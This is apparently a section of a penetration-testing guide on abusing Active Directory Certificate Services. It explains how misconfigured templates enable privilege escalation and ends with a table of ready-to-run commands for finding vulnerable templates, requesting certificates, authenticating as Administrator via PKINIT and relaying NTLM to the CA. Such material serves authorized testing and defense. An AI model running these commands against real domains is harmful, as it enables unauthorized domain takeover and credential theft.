Active Directory Certificate Services issues certificates that domain principals can use for authentication, encryption, signing, and smart-card style logon. When templates, enrollment endpoints, or CA private keys are misconfigured, certificate enrollment becomes an identity escalation path.
The core ADCS attack pattern is simple: find a certificate template or CA endpoint that lets us obtain a certificate for a more privileged identity, authenticate with that certificate, then use the resulting TGT, NT hash, LDAP bind, or Schannel session to move forward.
Certificates are credentials. A password reset does not invalidate a certificate that is still valid and trusted. Revocation, template cleanup, CA hardening, and sometimes CA key rotation are required depending on what was exposed.
Tools used in this section include: Certipy, Certify, PKINITtools, PassTheCert, Impacket, Rubeus, ntlmrelayx, and SharpSystemTriggers.
What matters in a template
Enrollment rights
Manager approval
Authorized signatures
Extended Key Usage
Subject name source
Subject Alternative Name control
Template ACLs
Published state on a CA
Certificate validity period
Authentication EKUs
Client Authentication
PKINIT Client Authentication
Smart Card Logon
Any Purpose
Subordinate CA
No EKU
Core flow
Enumerate CA and templates
Identify vulnerable enrollment or template control
Request or modify certificate path
Authenticate with certificate
Use resulting TGT, NT hash, LDAP bind, or service ticket
Clean up template changes, relays, issued certs, and temporary files
High-value checks
| Check | Command |
|---|---|
| Find vulnerable templates | certipy find -u "$USER@$DOMAIN" -p "$PASS" -dc-ip $DC -vulnerable -enabled -stdout |
| Enumerate all ADCS data | certipy find -u "$USER@$DOMAIN" -p "$PASS" -dc-ip $DC -enabled -text -output adcs |
| Certify CA enumeration | Certify.exe enum-cas --quiet |
| Certify vulnerable templates | Certify.exe enum-templates --filter-enabled --filter-vulnerable --hide-admins --quiet |
| Request certificate | certipy req -u "$USER@$DOMAIN" -p "$PASS" -dc-ip $DC -ca "$CA" -template User |
| Authenticate with PFX | certipy auth -pfx administrator.pfx -domain $DOMAIN -dc-ip $DC |
| PKINIT with PEM | gettgtpkinit.py -cert-pem user.crt -key-pem user.key -dc-ip $DC $DOMAIN/user user.ccache |
| Rubeus PKINIT | Rubeus.exe asktgt /user:Administrator /domain:ootw.local /certificate:administrator.pfx /ptt |
| Relay to ADCS | ntlmrelayx.py -t http://ca.ootw.local/certsrv/certfnsh.asp --adcs --template DomainController -smb2support |
| Export cert and key | openssl pkcs12 -in administrator.pfx -clcerts -nokeys -out administrator.crt |
| Export private key | openssl pkcs12 -in administrator.pfx -nocerts -out administrator.key |